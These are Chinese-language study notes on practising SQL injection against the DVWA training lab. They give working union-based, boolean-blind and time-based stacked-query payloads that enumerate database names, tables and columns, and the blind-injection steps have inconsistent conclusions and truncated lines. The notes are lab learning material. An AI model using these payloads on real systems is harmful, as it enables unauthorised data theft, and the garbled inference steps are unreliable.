发给数据的参数有引号为字符型

利用数据连接软件查看数据库 

 

 

select * from users先查看数据库

不熟悉语句,导致错误

通过排序语句,依据第二列字母的排序

select * from users order by 2;

判断数据表只有8个字段,order by 9 就会出错

于是利用这个,判断表的字段数

当ord用3时候就报错,可知只会用两列

下面来判断登陆口是否做了查询限制

熟悉了这个保存mysql的配置的数据库后知道,数据库的更多信息

利用了union就把这个配置数据库的重要的表信息查出来了

接着第二次练习

先将靶场安全级别设置为low

判断sql注入是否存在

  1. 先判断参数类型

根据数据库的反馈来判断

攻击路径:通过向

Select if(user()=’root’,’yes; ‘no’)

Select if(1,’root’,’yes; ‘no’)

那怎么让web服务器回答问题

用union连接IF语句

比如

Id=1’ union select if(1=2);#

探测数据库模式获得更多信息

2' union select null,table_schema from information_schema.tables;#

利用数据库信息配置数据库得知了当前的数据库名

利用where语句对inform表进行限制查出dvwa数据库下有两张表

接着查出数据库下的字段名

2' union select null,column_name from information_schema.columns where table_schema='dvwa';#

优化查询,查出列所属表

查询users的字段值

个人总结

1、基于布尔的SQL 盲注

Step 1:判断注入

Step 2:猜测可能的SQL 语句

Step 3:探测数据库模式

SELECT * FROM table_users WHERE uid=’id’;

id=1’ and (select if(1=1, 1, 0));#

SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=1, 1, 0));#’;

用户存在

id=1’ and (select if(1=2, 1, 0));#

SELECT * FROM table_users WHERE uid=’ 1’ and (select if(1=2, 1, 0));#’;

用户不存在

猜测当前数据库的名称:

a b c d e f g h i j k l m n o p q r s t u v w x y z

1' and (select if(ascii(substring(database(), 1, 1))<ascii('a'), 1, 0));#

用户不存在 è数据库名称首字符比’a’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('n'), 1, 0));#

用户不存在 è数据库名称首字符比’n’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#

用户不存在 è数据库名称首字符比’g’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#

用户不存在 è数据库名称首字符大于或等于’d’

1' and (select if(ascii(substring(database(), 1, 1))<ascii('g'), 1, 0));#

用户不存在 è数据库名称首字符比’e’

推断数据库名称的首字符为d

以此类推,查询数据库中的表,列名称以及对应的值

2HTTP 请求方法

AGET 方法

http://10.211.55.4/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#

BPOST 方法

http://10.211.55.4/dvwa/vulnerabilities/sqli/#

3、基于POST 请求的SQL 注入

Step 1:判断注入类型

1’ 或者1’ and ‘1’=’1 è报错,推断不是字符型SQL 注入

1 and 1=1 è正确

  1. and 1=2 è错误

推断出这是一个整数型SQL 注入

  1.  

Step 2:推测SQL 查询语句

SELECT first_name,sur_name from table_users WHERE uid=id;

Step 3:用order by 子句推测SELECT 的列数

Order by 2 è正确

Order by 3 è错误

推断SELECT 语句选择了2

Step 4:探测数据库模式

探测当前连接数据库的用户名和数据库名称

探测出数据库dvwa 数据库的模式

3SQL 注入进阶

——基于时间的注入攻击

Sleep 函数,benchmark 类似函数

建议:如果能够转换为基于布尔型SQL 盲注,尽量避免基于时间的 盲注

——堆叠查询注入

可以通过SQL 注入多条SQL 执行语句

DVWA:Low:SQL Injection

SELECT * FROM table_users WHERE user_id=’id’;

id= 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#

SELECT * FROM table_users WHERE user_id=’ 1'; select if(current_user() LIKE 'root%', 0, sleep(5));#’;

Php+mysql 如何支持堆叠查询???

——宽字节注入

——cookie 注入

——Base64 注入

所有的注入信息都需要执行base64 编码(不是加密)再发送到Web

服务器进行查询。

如果需要执行注入,则需要把构建好的新的SQL 语句编码之后再替换

提交内容

——针对cgi 的注入

POST 方式提交,内容发送给cig 网关程序而不是web 页面

Logo

技术共进,成长同行——讯飞AI开发者社区

更多推荐